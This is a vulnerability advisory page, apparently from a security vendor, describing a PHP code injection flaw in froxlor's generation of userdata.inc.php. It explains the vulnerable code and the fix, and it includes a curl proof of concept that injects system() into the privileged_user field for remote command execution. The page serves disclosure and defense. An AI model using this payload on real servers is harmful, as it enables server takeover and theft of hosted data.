CVE-2026-41229 is a critical-severity (CVSS 9.1) Code Injection vulnerability in froxlor/froxlor. A fix is available for froxlor/froxlor — see the affected versions and patch details below.
Froxlor has a PHP Code Injection via Unescaped Single Quotes in userdata.inc.php Generation (MysqlServer API)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-41229.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-41229 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
froxlor/froxlorReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
PhpHelper::parseArrayToString() writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with change_serversettings permission adds or updates a MySQL server via the API, the privileged_user parameter (which has no input validation) is written unescaped into lib/userdata.inc.php. Since this file is required on every request via Database::getDB(), an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load.
Details
The root cause is in PhpHelper::parseArrayToString() at lib/Froxlor/PhpHelper.php:486:
// lib/Froxlor/PhpHelper.php:475-487
foreach ($array as $key => $value) {
if (!is_array($value)) {
if (is_bool($value)) {
$str .= self::tabPrefix($depth, sprintf("'%s' => %s,\n", $key, $value ? 'true' : 'false'));
} elseif (is_int($value)) {
$str .= self::tabPrefix($depth, "'{$key}' => $value,\n");
} else {
if ($key == 'password') {
// special case for passwords (nowdoc)
$str .= self::tabPrefix($depth, "'{$key}' => <<<'EOT'\n{$value}\nEOT,\n");
} else {
// VULNERABLE: $value interpolated without escaping single quotes
$str .= self::tabPrefix($depth, "'{$key}' => '{$value}',\n");
}
}
}
}
Note that the password key receives special treatment via nowdoc syntax (line 484), which is safe because nowdoc does not interpret any escape sequences or variable interpolation. However, all other string keys — including user, caption, and caFile — are written directly into single-quoted PHP string literals with no escaping.
The attack path through MysqlServer::add() (lib/Froxlor/Api/Commands/MysqlServer.php:80):
validateAccess()(line 82) checks the caller is an admin withchange_serversettingsprivileged_useris read viagetParam()at line 88 with no validation appliedmysql_cais also read with no validation at line 86- The values are placed into the
$sql_rootarray at lines 150-160 generateNewUserData()is called at line 162, which callsPhpHelper::parseArrayToPhpFile()→parseArrayToString()- The result is written to
lib/userdata.inc.phpviafile_put_contents()(line 548) - Setting
test_connection=0(line 92, 110) skips the PDO connection test, so no valid MySQL credentials are needed
The generated userdata.inc.php is loaded on every request via Database::getDB() at lib/Froxlor/Database/Database.php:431:
require Froxlor::getInstallDir() . "/lib/userdata.inc.php";
The MysqlServer::update() method (line 337) has the identical vulnerability with privileged_user at line 387.
PoC
Step 1: Inject PHP code via MysqlServer.add API
curl -s -X POST https://froxlor.example/api.php \
-u 'ADMIN_APIKEY:ADMIN_APISECRET' \
-H 'Content-Type: application/json' \
-d '{
"command": "MysqlServer.add",
"params": {
"mysql_host": "127.0.0.1",
"mysql_port": 3306,
"privileged_user": "x'\''.system(\"id\").'\''",
"privileged_password": "anything",
"description": "test",
"test_connection": 0
}
}'
This writes the following into lib/userdata.inc.php:
'user' => 'x'.system("id").'',
Step 2: Trigger code execution
Any subsequent HTTP request to the Froxlor panel triggers Database::getDB(), which requires userdata.inc.php, executing system("id") as the web server user:
curl -s https://froxlor.example/
The id output will appear in the response (or can be captured via out-of-band methods for blind execution).
Step 3: Cleanup (attacker would also clean up)
The injected code runs on every request until userdata.inc.php is regenerated or manually fixed.
Impact
An admin with change_serversettings permission can escalate to arbitrary OS command execution as the web server user. This represents a scope change from the Froxlor application boundary to the underlying operating system:
- Full server compromise: Execute arbitrary commands as the web server user (typically
www-data) - Data exfiltration: Read all hosted customer data, databases credentials, TLS private keys
- Lateral movement: Access all MySQL databases using credentials stored in
userdata.inc.php - Persistent backdoor: The injected code executes on every request, providing persistent access
- Denial of service: Malformed PHP in
userdata.inc.phpcan break the entire panel
The description field (validated with REGEX_DESC_TEXT = /^[^\0\r\n<>]*$/) and mysql_ca field (no validation) are also injectable vectors through the same code path.
Recommended Fix
Escape single quotes in PhpHelper::parseArrayToString() before interpolating values into single-quoted PHP string literals. In single-quoted PHP strings, only \' and \\ are interpreted, so both must be escaped:
// lib/Froxlor/PhpHelper.php:486
// Before (vulnerable):
$str .= self::tabPrefix($depth, "'{$key}' => '{$value}',\n");
// After (fixed) - escape backslashes first, then single quotes:
$escaped = str_replace(['\\', "'"], ['\\\\', "\\'"], $value);
$str .= self::tabPrefix($depth, "'{$key}' => '{$escaped}',\n");
Alternatively, use the same nowdoc syntax already used for passwords for all string values, which provides complete injection safety:
// Apply nowdoc to all string values, not just passwords:
$str .= self::tabPrefix($depth, "'{$key}' => <<<'EOT'\n{$value}\nEOT,\n");
Additionally, consider adding input validation to privileged_user and mysql_ca in MysqlServer::add() and MysqlServer::update() as defense-in-depth.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | froxlor/froxlor | all versions | 2.3.6composer require froxlor/froxlor:^2.3.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for froxlor/froxlor, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update froxlor/froxlor to 2.3.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-41229 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-41229 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-41229. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-41229 in your dependencies?
O3 Security finds CVE-2026-41229 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.